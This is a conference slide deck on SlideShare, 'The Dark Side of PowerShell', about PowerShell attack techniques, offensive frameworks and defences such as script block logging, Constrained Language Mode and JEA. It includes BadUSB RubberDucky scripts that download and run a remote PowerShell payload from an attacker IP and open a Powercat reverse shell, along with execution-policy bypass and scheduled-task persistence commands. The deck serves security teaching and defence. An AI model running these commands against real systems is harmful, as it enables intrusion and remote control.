SlideShare a Scribd company logo
The Dark Side of PowerShell
George Dobrea
George Dobrea
xEduco
gdobrea@xeduco.net | @gdobrea
Microsoft Certified Trainer (since 1998)
MVP – Enterprise Security (since 2005)
EC-Council Instructor of the Year (2016)
My Last trips:
 Bucharest (home)
 Tokyo
 Phnom Penh / Cambodia
 Washington DC
 New Delhi
 Dubai
 London
 Brussels
 Vilnius, Tallinn, Riga
 Finland
 Peru
 Germany
 Toronto
 Cape Town
Teaching / Consulting / Speaking / Volunteering
Or Just Travelling for Fun…
My First Public Speech about PowerShell Vulnerabilities in a
MS conference…
> Get-content
 PowerShell as an attack platform
 PowerShell malware
 Pen Testing tools based on PowerShell
 PowerShell security, and bypassing that security
 Defence strategies
 PowerShell v5 new security features
PowerShell
 Shell and scripting language present by
default on all Windows machines.
 … Now open sourced and available on Linux
 Designed to automate things and make life
easier for system admin.
 Based on .Net framework and is tightly
integrated with Windows.
 Access to the Win32 and Native API
 Easy to learn and to write scripts  !
Tesla PowerShell Module
Current Landscape of PowerShell Threats
 38 % of security incidents reported utilized PowerShell in some
form or another
 68 % of system breaches having some PowerShell involvement.
 31 % of all reported incidents involving PowerShell drummed up
no security alerts before the threat was discovered.
Carbon Black - United Threat Research Report 2016
“If PowerShell is a hammer, everything is a nail”
Why using
PowerShell
for attacks?
… Why Not?
Powershell is an ideal platform for attackers
 Installed by DEFAULT on Windows Systems
 Provides access to almost everything in a Windows platform which
could be useful for an attacker
o Registry, file system, active directory, networking, services, processes, WMI,
COM, Hyper-V
 Run code in memory without touching disk
 WinRM is enabled by DEFAULT on Windows Server
 Trusted by countermeasures (AntiVirus) and SysAdmins
 A wealth of attack / pen testing tools already exist:
o Shellcode injectors, DLL injectors, keyloggers, port-scanners, reverse/bind
shells, botnets, hash dumping utilities
PowerShell attack code can be invoked by:
 Microsoft Office Macro (VBA)
 WMI
 HTA Script (HTML Application – control panel extensions)
 CHM (compiled HTML help)
 Java JAR file
 Other script type (VBS/WSH/BAT/CMD)
 Typically an Encoded Command
Encoded commands obfuscate attack code and can even be compressed to avoid
the Windows console character limitation (8191)
Powershell.exe –WindowStyle Hidden –noprofile –EncodedCommand <BASE64ENCODED>
Great, but how do I execute it on a victim machine ?
 Code execution gained from an existing exploit
 Via a website command injection vulnerability
 Physical access – USB HID device
 Stolen / captured credentials. With credentials, remote code execution
can be gained with:
 WMI
 WSMAN
 RDP, PowerShell Web Access ( yes, you can run PS from your smartphone ), etc…
New Malicious Attacks using PowerShell…
Real world PowerShell Malware
 PowerWorm:
 Infect’s Word and Excel documents, initial infection via macro in
.doc/.xls
 PoshKoder/PoshCoder:
 PowerWorm crossed with CryptoLocker
 Bitcoin ransom
 DNSChanger
 Trojan.DNSChanger circumvents Powershell restrictions
Valuable Resource for Pen Testers : PoshInternals
https://github.com/adamdriscoll/PoshInternals
Valuable Resource for Pen Testers : PowerSploit
https://github.com/mattifestation/PowerSploit
Valuable Resource for Pen Testers : PowerShellEmpire
http://www.PowerShellEmpire.com
Modules:
 Code Execution
 Collection
 Credentials
 Exfiltration
 Exploitation
 Lateral Movement
 Management
 Persistence
 Privilege Escalation
 Recon
 Situational Awareness
 Fun & Trollsploit
Capabilities:
 PowerShell based Remote Access
Trojan (RAT).
 Python server component (Kali
Linux).
 AES Encrypted C2 channel.
 Dumps and tracks credentials in
database.
Use: Integrated modules providing
Initial Exploitation, Recon,
Credential Theft & Reuse, as well as
Persistence.
Valuable Resource for Pen Testers : Nishang
https://github.com/samratashok/nishang
Kali Linux – Social Engineering Toolkit (SET)
Kali Linux: More than 600
penetration testing tools included
- Some of them using PowerShell
attack techniques
The SET has become a
standard in the arsenal of
the penetration tester
Demo
USB + PowerShell =
BadUSB RubberDucky Attack ( example #1)
BadUSB RubberDucky Attack ( example #2)
 Create a PowerShell Meterpreter reverse TCP payload and place it
somewhere on your Kali Linux Web Server
 This bypasses most AV, HIPS, IDS and Firewalls and leaves no evidence on
the system
DELAY 750
GUI r
DELAY 750
STRING cmd
DELAY 200
ENTER
DELAY 200
STRING powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.132/powershell.ps1')
DELAY 200
ENTER
Administrative privileges required
Not persistent – limited to the current session
Limitations of PowerShell Attacks
Post Exploitation Attack Style
… Or better use PowerCat instead - this a PowerShell version of net cat 
DELAY 500
CAPSLOCK
GUI R
DELAY 500
STRING POWERSHELL.EXE -EX UNRESTRICTED -C "IMPORT-MODULE
('{0}:POWERCAT.PS1' -F (GET-VOLUME -FILESYSTEMLABEL
DUCKY).DRIVELETTER); POWERCAT -C 192.168.56.101 -P
443 -EP" -WINDOWSTYLE HIDDEN
ENTER
Example: RubberDucky & Powercat Reverse Shell
 Basic methods (easy to implement, also to detect and remove)
 Registry Settings
 Scheduled tasks
 Advanced Persistent Mechanism:
 Permanent WMI
What if I want to persist my payloads
PS> schtasks /Create /SC ONIDLE /I 1 `
/TN Updater /TR “powershell.exe `
-Command Write-Host ‘Doing evil stuff…’“
Windows PowerShell Remoting and WinRM
 PowerShell Remoting is based upon WinRM, Microsoft’s WS-
Management implementation
 Supports execution in 3 ways:
 Remote enabled commands
 Remotely executed script blocks
 Remote sessions
 Security Model = Trusted Devices + User Credentials
 WinRM is required for the Windows Server Manager
 WinRM is enabled by DEFAULT on Windows 2012(R2) Server
 WinRM is allowed through Windows Firewall on all network profiles!
 PowerShell/Win32-OpenSSH - work in progress !
PowerShell Remoting Kerberos Double Hop
Solved Securely
$ServerB = Get-ADComputer -Identity ServerB
$ServerC = Get-ADComputer -Identity ServerC
Set-ADComputer -Identity $ServerC -PrincipalsAllowedToDelegateToAccount $ServerB
 No PowerShell code modification.
 No more SPNs for constrained delegation!
 Credentials are not stored on ServerB.
 Multiple domains and forests supported across trusts.
https://blogs.technet.microsoft.com/ashleymcglone/2016/08/30/powershell-remoting-kerberos-double-hop-solved-securely/
Resource-Based Kerberos Constrained Delegation is the solution !
PowerShell ‘Legacy’ Security Features
 Administrative rights
 UAC
 Code Signing
 Local or Remote source using zone.identifier alternate data
stream
 PowerShell Execution Policy
Bypassing Execution Policy ( Easy !!!)
The PowerShell Execution Policy is not a security boundary
 Simply ask PowerShell: powershell.exe –executionpolicy unrestricted
 Switch the files zone.idenfier back to local: unblock-file yourscript.ps1
 Read the script in and then execute it (may fail depending on script)
 Encode the script and use –encodedcommand – always works!!
 Get/Steal a certificate, sign script, run script
C:> powershell.exe –executionpolicy bypass –windowstyle hidden
–noninteractive –nologo –file “c:exploit.ps1”
Operational Security / Dealing with Forensics
 Change WinRM settings / Block WinRM ?
 Application whitelisting - AppLocker Policies
 Enabling Constrained Language Mode
 Log PowerShell Activity
 Detecting attacks on mitigations (audit any changes to profile.ps1 or
the registry keys that control module logging)
PowerShell is not powershell.exe
 powershell.exe is just a host
application
 it hosts the assembly that contains
PowerShell and handles I/O
System.Management.Automation.dll
 Blocking PowerShell.exe does not
stop PowerShell attacks!
PowerShell v5 ♥ the Blue Team !
 Over-the-shoulder transcription
 Deep script block logging
 Antimalware Scan Interface Integration
 Cryptographic Message Syntax (CMS) encryption and decryption
cmdlets
 Secure code generation APIs
 Applocker + Constrained Language Mode
 Protected Event Logging
 Preventing unrestricted admin access (JEA)
PowerShell Logging
PS > Get-EventLog – LogName “Windows PowerShell” - InstanceId 800 |`
Where Message –match Add-Type | Select –First 10 | Format-List
 Module Logging
 Script Block Logging *
 System-wide transcripts *
*Enabled by KB3000850 on Windows Server
2012 R2/ Windows 8.1 or WMF 5.0
 Microsoft-Windows-PowerShell/Operational events:
 4103 –Module logging
 4104/4105/4106 –Script block logging
Limiting PowerShell Attack Capability with
Constrained Language Mode
 removing advanced feature support such as .Net & Windows API
calls and COM access
 The lack of this advanced functionality stops most PowerShell
attack tools
 Drawback: an environment variable must be set, either by running
a command in PowerShell or via Group Policy
 Pairing PowerShell v5 with AppLocker :
 PowerShell v5 detects when Applocker Allow mode is in effect and sets the
PowerShell language to Constrained Mode for interactive input and user-
authored scripts, severely limiting the attack surface on the system
[Environment]::SetEnvironmentVariable(‘__PSLockdownPolicy‘, ‘4’, ‘Machine‘)
Just In Time, Just Enough Administration (JitJea)
 based on Windows PowerShell constrained runspaces
 allowing specific users to perform administrative tasks on servers
without giving them administrator rights
 auditing all actions that these users performed
Before JEA 
PS C:> Copy-Item C:SecureFilesFile.txt
C:DeploymentFile.txt
PS C:> Get-Content C:DeploymentFile.txt
Information I should not see
Using JEA 
PS C:> Copy-Item C:SecureFilesFile.txt
C:DeploymentFile.txt
PS C:> Get-Content C:DeploymentFile.txt
This command is not available
PS> Enter-PSSession Server1
FAIL! – Talk to your supervisor for assistance
“George I need to be admin on Server1 to restart SQL”
“No Eddie.
Just use JEA and connect to the ‘Maintenance
EndPoint”
PS> Enter-JeaSession Server1 –Name Maintenance
Server1> Restart-Service MSSQLSERVER

Server1
Server1> Steal-Secrets
Error: You are not authorized to
Steal-Secrets
Time to set PowerShell policies in your organization…
Sample here:
 Change ExecutionPolicy to only allow signed scripts to run.
 Require all PowerShell scripts to be run from a specific location or path.
 Discourage (or require exception for) the use of encoded parameters on the
command line.
 Discourage (or block) PowerShell scripts from downloading content from the
Internet (or specify a “whitelist” of allowed IP addresses only).
 Discourage (or block) the use of PowerShell to invoke commands on remote
systems.
 Require a custom parameter to be passed on all “legitimate” PowerShell
usage.
 Restrict PowerShell to specific users in your organization.
 Require PowerShell to be launched from a specific process.
Useful Resources
 PowerShell Galery
• https://www.powershellgallery.com/
 Hey, Scripting Guy! Blog
• http://blogs.technet.com/b/heyscriptingguy/
 Just Enough Administration (JEA)
• https://msdn.microsoft.com/en-us/powershell/jea/using-jea
 Practical Persistence with PowerShell
• http://www.exploit-monday.com/2013/04/PersistenceWithPowerShell.html>
 PowerShell Security: PowerShell Attack Tools, Mitigation, & Detection
 https://adsecurity.org/?p=2921
 PowerShell Version 5 Security Enhancements
• https://adsecurity.org/?p=2277
 Blogs of PowerShell gurus:
• Jeffrey Snower, Matt Graeber, Adam Driscoll, Sean Metcalf, Will Schroeder
Thank you !
Questions?
George Dobrea
XEduco.net | @gdobrea

More Related Content

What's hot

Lateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your NetworkLateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your Network
EC-Council
 
CNIT 128: 3. Attacking iOS Applications (Part 2)
CNIT 128: 3. Attacking iOS Applications (Part 2)CNIT 128: 3. Attacking iOS Applications (Part 2)
CNIT 128: 3. Attacking iOS Applications (Part 2)
Sam Bowne
 
All You Need is One - A ClickOnce Love Story - Secure360 2015
All You Need is One -  A ClickOnce Love Story - Secure360 2015All You Need is One -  A ClickOnce Love Story - Secure360 2015
All You Need is One - A ClickOnce Love Story - Secure360 2015
NetSPI
 
07182013 Hacking Appliances: Ironic exploits in security products
07182013 Hacking Appliances: Ironic exploits in security products07182013 Hacking Appliances: Ironic exploits in security products
07182013 Hacking Appliances: Ironic exploits in security products
NCC Group
 
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
CNIT 129S: Ch 12: Attacking Users: Cross-Site ScriptingCNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
Sam Bowne
 
CNIT 128 7. Attacking Android Applications (Part 3)
CNIT 128 7. Attacking Android Applications (Part 3)CNIT 128 7. Attacking Android Applications (Part 3)
CNIT 128 7. Attacking Android Applications (Part 3)
Sam Bowne
 
CNIT 128: Android Implementation Issues (Part 2)
CNIT 128: Android Implementation Issues (Part 2)CNIT 128: Android Implementation Issues (Part 2)
CNIT 128: Android Implementation Issues (Part 2)
Sam Bowne
 
External to DA, the OS X Way
External to DA, the OS X WayExternal to DA, the OS X Way
External to DA, the OS X Way
Stephan Borosh
 
SANS @Night Talk: SQL Injection Exploited
SANS @Night Talk: SQL Injection ExploitedSANS @Night Talk: SQL Injection Exploited
SANS @Night Talk: SQL Injection Exploited
Micah Hoffman
 
Defcon 22-philip-young-from-root-to-special-hacking-ibm-main
Defcon 22-philip-young-from-root-to-special-hacking-ibm-mainDefcon 22-philip-young-from-root-to-special-hacking-ibm-main
Defcon 22-philip-young-from-root-to-special-hacking-ibm-main
Priyanka Aash
 
Security events in 2014
Security events in 2014Security events in 2014
Security events in 2014
Chong-Kuan Chen
 
CNIT 128 8. Android Implementation Issues (Part 2)
CNIT 128 8. Android Implementation Issues (Part 2)CNIT 128 8. Android Implementation Issues (Part 2)
CNIT 128 8. Android Implementation Issues (Part 2)
Sam Bowne
 
CSW2017 chuanda ding_state of windows application security
CSW2017 chuanda ding_state of windows application securityCSW2017 chuanda ding_state of windows application security
CSW2017 chuanda ding_state of windows application security
CanSecWest
 
Lateral Movement - Phreaknik 2016
Lateral Movement - Phreaknik 2016Lateral Movement - Phreaknik 2016
Lateral Movement - Phreaknik 2016Xavier Ashe
 
Extracting Credentials From Windows
Extracting Credentials From WindowsExtracting Credentials From Windows
Extracting Credentials From WindowsNetSPI
 
CSW2017 Geshev+Miller logic bug hunting in chrome on android
CSW2017 Geshev+Miller logic bug hunting in chrome on androidCSW2017 Geshev+Miller logic bug hunting in chrome on android
CSW2017 Geshev+Miller logic bug hunting in chrome on android
CanSecWest
 
CNIT 128 9. Writing Secure Android Applications
CNIT 128 9. Writing Secure Android ApplicationsCNIT 128 9. Writing Secure Android Applications
CNIT 128 9. Writing Secure Android Applications
Sam Bowne
 
Addios!
Addios!Addios!
Attack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration TestingAttack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration TestingNetSPI
 
Apache Struts2 CVE-2017-5638
Apache Struts2 CVE-2017-5638Apache Struts2 CVE-2017-5638
Apache Struts2 CVE-2017-5638
Riyaz Walikar
 

What's hot (20)

Lateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your NetworkLateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your Network
 
CNIT 128: 3. Attacking iOS Applications (Part 2)
CNIT 128: 3. Attacking iOS Applications (Part 2)CNIT 128: 3. Attacking iOS Applications (Part 2)
CNIT 128: 3. Attacking iOS Applications (Part 2)
 
All You Need is One - A ClickOnce Love Story - Secure360 2015
All You Need is One -  A ClickOnce Love Story - Secure360 2015All You Need is One -  A ClickOnce Love Story - Secure360 2015
All You Need is One - A ClickOnce Love Story - Secure360 2015
 
07182013 Hacking Appliances: Ironic exploits in security products
07182013 Hacking Appliances: Ironic exploits in security products07182013 Hacking Appliances: Ironic exploits in security products
07182013 Hacking Appliances: Ironic exploits in security products
 
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
CNIT 129S: Ch 12: Attacking Users: Cross-Site ScriptingCNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
 
CNIT 128 7. Attacking Android Applications (Part 3)
CNIT 128 7. Attacking Android Applications (Part 3)CNIT 128 7. Attacking Android Applications (Part 3)
CNIT 128 7. Attacking Android Applications (Part 3)
 
CNIT 128: Android Implementation Issues (Part 2)
CNIT 128: Android Implementation Issues (Part 2)CNIT 128: Android Implementation Issues (Part 2)
CNIT 128: Android Implementation Issues (Part 2)
 
External to DA, the OS X Way
External to DA, the OS X WayExternal to DA, the OS X Way
External to DA, the OS X Way
 
SANS @Night Talk: SQL Injection Exploited
SANS @Night Talk: SQL Injection ExploitedSANS @Night Talk: SQL Injection Exploited
SANS @Night Talk: SQL Injection Exploited
 
Defcon 22-philip-young-from-root-to-special-hacking-ibm-main
Defcon 22-philip-young-from-root-to-special-hacking-ibm-mainDefcon 22-philip-young-from-root-to-special-hacking-ibm-main
Defcon 22-philip-young-from-root-to-special-hacking-ibm-main
 
Security events in 2014
Security events in 2014Security events in 2014
Security events in 2014
 
CNIT 128 8. Android Implementation Issues (Part 2)
CNIT 128 8. Android Implementation Issues (Part 2)CNIT 128 8. Android Implementation Issues (Part 2)
CNIT 128 8. Android Implementation Issues (Part 2)
 
CSW2017 chuanda ding_state of windows application security
CSW2017 chuanda ding_state of windows application securityCSW2017 chuanda ding_state of windows application security
CSW2017 chuanda ding_state of windows application security
 
Lateral Movement - Phreaknik 2016
Lateral Movement - Phreaknik 2016Lateral Movement - Phreaknik 2016
Lateral Movement - Phreaknik 2016
 
Extracting Credentials From Windows
Extracting Credentials From WindowsExtracting Credentials From Windows
Extracting Credentials From Windows
 
CSW2017 Geshev+Miller logic bug hunting in chrome on android
CSW2017 Geshev+Miller logic bug hunting in chrome on androidCSW2017 Geshev+Miller logic bug hunting in chrome on android
CSW2017 Geshev+Miller logic bug hunting in chrome on android
 
CNIT 128 9. Writing Secure Android Applications
CNIT 128 9. Writing Secure Android ApplicationsCNIT 128 9. Writing Secure Android Applications
CNIT 128 9. Writing Secure Android Applications
 
Addios!
Addios!Addios!
Addios!
 
Attack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration TestingAttack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration Testing
 
Apache Struts2 CVE-2017-5638
Apache Struts2 CVE-2017-5638Apache Struts2 CVE-2017-5638
Apache Struts2 CVE-2017-5638
 

Similar to The Dark Side of PowerShell by George Dobrea

Cross Interface Attacks
Cross Interface AttacksCross Interface Attacks
Cross Interface Attacks
n|u - The Open Security Community
 
Cross interface attack
Cross interface attackCross interface attack
Cross interface attack
piyushml20
 
Incorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>AttackIncorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>Attack
jaredhaight
 
Kunal - Introduction to BackTrack - ClubHack2008
Kunal - Introduction to BackTrack - ClubHack2008Kunal - Introduction to BackTrack - ClubHack2008
Kunal - Introduction to BackTrack - ClubHack2008ClubHack
 
Kunal - Introduction to backtrack - ClubHack2008
Kunal - Introduction to backtrack - ClubHack2008Kunal - Introduction to backtrack - ClubHack2008
Kunal - Introduction to backtrack - ClubHack2008ClubHack
 
Workshop on BackTrack live CD
Workshop on BackTrack live CDWorkshop on BackTrack live CD
Workshop on BackTrack live CDamiable_indian
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack webhostingguy
 
CEHv10 M0 Introduction.pptx
CEHv10 M0 Introduction.pptxCEHv10 M0 Introduction.pptx
CEHv10 M0 Introduction.pptx
YasserOuda2
 
Wsv406 Advanced Automation Using Windows Power Shell2.0
Wsv406 Advanced Automation Using Windows Power Shell2.0Wsv406 Advanced Automation Using Windows Power Shell2.0
Wsv406 Advanced Automation Using Windows Power Shell2.0
jsnover1
 
ADVANCED PENETRATION TESTING.pdf
ADVANCED PENETRATION TESTING.pdfADVANCED PENETRATION TESTING.pdf
ADVANCED PENETRATION TESTING.pdf
Cert Hippo
 
PowerShell: From Attackers' to Defenders' Perspective
PowerShell: From Attackers' to Defenders' PerspectivePowerShell: From Attackers' to Defenders' Perspective
PowerShell: From Attackers' to Defenders' Perspective
CrystalTan31
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
Daniel Owens
 
.Net Debugging Techniques
.Net Debugging Techniques.Net Debugging Techniques
.Net Debugging Techniques
Bala Subra
 
.NET Debugging Tips and Techniques
.NET Debugging Tips and Techniques.NET Debugging Tips and Techniques
.NET Debugging Tips and Techniques
Bala Subra
 
Post exploitation using powershell
Post exploitation using powershellPost exploitation using powershell
Post exploitation using powershell
Mihir Shah
 
Hacker Halted 2014 - Post-Exploitation After Having Remote Access
Hacker Halted 2014 - Post-Exploitation After Having Remote AccessHacker Halted 2014 - Post-Exploitation After Having Remote Access
Hacker Halted 2014 - Post-Exploitation After Having Remote Access
EC-Council
 
Top 10 ways to make hackers excited: All about the shortcuts not worth taking
Top 10 ways to make hackers excited: All about the shortcuts not worth takingTop 10 ways to make hackers excited: All about the shortcuts not worth taking
Top 10 ways to make hackers excited: All about the shortcuts not worth taking
Paula Januszkiewicz
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan BalazsHacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Shakacon
 
Inventory your network and clients with PowerShell
Inventory your network and clients with PowerShellInventory your network and clients with PowerShell
Inventory your network and clients with PowerShellConcentrated Technology
 

Similar to The Dark Side of PowerShell by George Dobrea (20)

Cross Interface Attacks
Cross Interface AttacksCross Interface Attacks
Cross Interface Attacks
 
Cross interface attack
Cross interface attackCross interface attack
Cross interface attack
 
Incorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>AttackIncorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>Attack
 
Kunal - Introduction to BackTrack - ClubHack2008
Kunal - Introduction to BackTrack - ClubHack2008Kunal - Introduction to BackTrack - ClubHack2008
Kunal - Introduction to BackTrack - ClubHack2008
 
Kunal - Introduction to backtrack - ClubHack2008
Kunal - Introduction to backtrack - ClubHack2008Kunal - Introduction to backtrack - ClubHack2008
Kunal - Introduction to backtrack - ClubHack2008
 
Workshop on BackTrack live CD
Workshop on BackTrack live CDWorkshop on BackTrack live CD
Workshop on BackTrack live CD
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
CEHv10 M0 Introduction.pptx
CEHv10 M0 Introduction.pptxCEHv10 M0 Introduction.pptx
CEHv10 M0 Introduction.pptx
 
Wsv406 Advanced Automation Using Windows Power Shell2.0
Wsv406 Advanced Automation Using Windows Power Shell2.0Wsv406 Advanced Automation Using Windows Power Shell2.0
Wsv406 Advanced Automation Using Windows Power Shell2.0
 
ADVANCED PENETRATION TESTING.pdf
ADVANCED PENETRATION TESTING.pdfADVANCED PENETRATION TESTING.pdf
ADVANCED PENETRATION TESTING.pdf
 
PowerShell: From Attackers' to Defenders' Perspective
PowerShell: From Attackers' to Defenders' PerspectivePowerShell: From Attackers' to Defenders' Perspective
PowerShell: From Attackers' to Defenders' Perspective
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
.Net Debugging Techniques
.Net Debugging Techniques.Net Debugging Techniques
.Net Debugging Techniques
 
.NET Debugging Tips and Techniques
.NET Debugging Tips and Techniques.NET Debugging Tips and Techniques
.NET Debugging Tips and Techniques
 
Post exploitation using powershell
Post exploitation using powershellPost exploitation using powershell
Post exploitation using powershell
 
Hacker Halted 2014 - Post-Exploitation After Having Remote Access
Hacker Halted 2014 - Post-Exploitation After Having Remote AccessHacker Halted 2014 - Post-Exploitation After Having Remote Access
Hacker Halted 2014 - Post-Exploitation After Having Remote Access
 
Windows network
Windows networkWindows network
Windows network
 
Top 10 ways to make hackers excited: All about the shortcuts not worth taking
Top 10 ways to make hackers excited: All about the shortcuts not worth takingTop 10 ways to make hackers excited: All about the shortcuts not worth taking
Top 10 ways to make hackers excited: All about the shortcuts not worth taking
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan BalazsHacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
 
Inventory your network and clients with PowerShell
Inventory your network and clients with PowerShellInventory your network and clients with PowerShell
Inventory your network and clients with PowerShell
 

More from EC-Council

CyberOm - Hacking the Wellness Code in a Chaotic Cyber World
CyberOm - Hacking the Wellness Code in a Chaotic Cyber WorldCyberOm - Hacking the Wellness Code in a Chaotic Cyber World
CyberOm - Hacking the Wellness Code in a Chaotic Cyber World
EC-Council
 
Cloud Security Architecture - a different approach
Cloud Security Architecture - a different approachCloud Security Architecture - a different approach
Cloud Security Architecture - a different approach
EC-Council
 
Phases of Incident Response
Phases of Incident ResponsePhases of Incident Response
Phases of Incident Response
EC-Council
 
Weaponizing OSINT – Hacker Halted 2019 – Michael James
 Weaponizing OSINT – Hacker Halted 2019 – Michael James  Weaponizing OSINT – Hacker Halted 2019 – Michael James
Weaponizing OSINT – Hacker Halted 2019 – Michael James
EC-Council
 
Hacking Your Career – Hacker Halted 2019 – Keith Turpin
Hacking Your Career – Hacker Halted 2019 – Keith TurpinHacking Your Career – Hacker Halted 2019 – Keith Turpin
Hacking Your Career – Hacker Halted 2019 – Keith Turpin
EC-Council
 
Hacking Diversity – Hacker Halted . 2019 – Marcelle Lee
Hacking Diversity – Hacker Halted . 2019 – Marcelle LeeHacking Diversity – Hacker Halted . 2019 – Marcelle Lee
Hacking Diversity – Hacker Halted . 2019 – Marcelle Lee
EC-Council
 
Cloud Proxy Technology – Hacker Halted 2019 – Jeff Silver
Cloud Proxy Technology – Hacker Halted 2019 – Jeff SilverCloud Proxy Technology – Hacker Halted 2019 – Jeff Silver
Cloud Proxy Technology – Hacker Halted 2019 – Jeff Silver
EC-Council
 
DNS – Strategies for Reducing Data Leakage & Protecting Online Privacy – Hack...
DNS – Strategies for Reducing Data Leakage & Protecting Online Privacy – Hack...DNS – Strategies for Reducing Data Leakage & Protecting Online Privacy – Hack...
DNS – Strategies for Reducing Data Leakage & Protecting Online Privacy – Hack...
EC-Council
 
Data in cars can be creepy – Hacker Halted 2019 – Andrea Amico
Data in cars can be creepy – Hacker Halted 2019 – Andrea AmicoData in cars can be creepy – Hacker Halted 2019 – Andrea Amico
Data in cars can be creepy – Hacker Halted 2019 – Andrea Amico
EC-Council
 
Breaking Smart [Bank] Statements – Hacker Halted 2019 – Manuel Nader
Breaking Smart [Bank] Statements – Hacker Halted 2019 – Manuel NaderBreaking Smart [Bank] Statements – Hacker Halted 2019 – Manuel Nader
Breaking Smart [Bank] Statements – Hacker Halted 2019 – Manuel Nader
EC-Council
 
Are your cloud servers under attack?– Hacker Halted 2019 – Brian Hileman
Are your cloud servers under attack?– Hacker Halted 2019 – Brian HilemanAre your cloud servers under attack?– Hacker Halted 2019 – Brian Hileman
Are your cloud servers under attack?– Hacker Halted 2019 – Brian Hileman
EC-Council
 
War Game: Ransomware – Global CISO Forum 2019
War Game: Ransomware – Global CISO Forum 2019War Game: Ransomware – Global CISO Forum 2019
War Game: Ransomware – Global CISO Forum 2019
EC-Council
 
How to become a Security Behavior Alchemist – Global CISO Forum 2019 – Perry ...
How to become a Security Behavior Alchemist – Global CISO Forum 2019 – Perry ...How to become a Security Behavior Alchemist – Global CISO Forum 2019 – Perry ...
How to become a Security Behavior Alchemist – Global CISO Forum 2019 – Perry ...
EC-Council
 
Introduction to FAIR Risk Methodology – Global CISO Forum 2019 – Donna Gall...
Introduction to FAIR Risk Methodology – Global CISO Forum 2019  –  Donna Gall...Introduction to FAIR Risk Methodology – Global CISO Forum 2019  –  Donna Gall...
Introduction to FAIR Risk Methodology – Global CISO Forum 2019 – Donna Gall...
EC-Council
 
Alexa is a snitch! Hacker Halted 2019 - Wes Widner
Alexa is a snitch! Hacker Halted 2019 - Wes WidnerAlexa is a snitch! Hacker Halted 2019 - Wes Widner
Alexa is a snitch! Hacker Halted 2019 - Wes Widner
EC-Council
 
Hacker Halted 2018: Don't Panic! Big Data Analytics vs. Law Enforcement
Hacker Halted 2018: Don't Panic! Big Data Analytics vs. Law EnforcementHacker Halted 2018: Don't Panic! Big Data Analytics vs. Law Enforcement
Hacker Halted 2018: Don't Panic! Big Data Analytics vs. Law Enforcement
EC-Council
 
Hacker Halted 2018: HACKING TRILLIAN: A 42-STEP SOLUTION TO EXPLOIT POST-VOGA...
Hacker Halted 2018: HACKING TRILLIAN: A 42-STEP SOLUTION TO EXPLOIT POST-VOGA...Hacker Halted 2018: HACKING TRILLIAN: A 42-STEP SOLUTION TO EXPLOIT POST-VOGA...
Hacker Halted 2018: HACKING TRILLIAN: A 42-STEP SOLUTION TO EXPLOIT POST-VOGA...
EC-Council
 
Hacker Halted 2018: Breaking the Bad News: How to Prevent Your IR Messages fr...
Hacker Halted 2018: Breaking the Bad News: How to Prevent Your IR Messages fr...Hacker Halted 2018: Breaking the Bad News: How to Prevent Your IR Messages fr...
Hacker Halted 2018: Breaking the Bad News: How to Prevent Your IR Messages fr...
EC-Council
 
Hacker Halted 2018: From CTF to CVE – How Application of Concepts and Persist...
Hacker Halted 2018: From CTF to CVE – How Application of Concepts and Persist...Hacker Halted 2018: From CTF to CVE – How Application of Concepts and Persist...
Hacker Halted 2018: From CTF to CVE – How Application of Concepts and Persist...
EC-Council
 
Hacker Halted 2018: SE vs Predator: Using Social Engineering in ways I never ...
Hacker Halted 2018: SE vs Predator: Using Social Engineering in ways I never ...Hacker Halted 2018: SE vs Predator: Using Social Engineering in ways I never ...
Hacker Halted 2018: SE vs Predator: Using Social Engineering in ways I never ...
EC-Council
 

More from EC-Council (20)

CyberOm - Hacking the Wellness Code in a Chaotic Cyber World
CyberOm - Hacking the Wellness Code in a Chaotic Cyber WorldCyberOm - Hacking the Wellness Code in a Chaotic Cyber World
CyberOm - Hacking the Wellness Code in a Chaotic Cyber World
 
Cloud Security Architecture - a different approach
Cloud Security Architecture - a different approachCloud Security Architecture - a different approach
Cloud Security Architecture - a different approach
 
Phases of Incident Response
Phases of Incident ResponsePhases of Incident Response
Phases of Incident Response
 
Weaponizing OSINT – Hacker Halted 2019 – Michael James
 Weaponizing OSINT – Hacker Halted 2019 – Michael James  Weaponizing OSINT – Hacker Halted 2019 – Michael James
Weaponizing OSINT – Hacker Halted 2019 – Michael James
 
Hacking Your Career – Hacker Halted 2019 – Keith Turpin
Hacking Your Career – Hacker Halted 2019 – Keith TurpinHacking Your Career – Hacker Halted 2019 – Keith Turpin
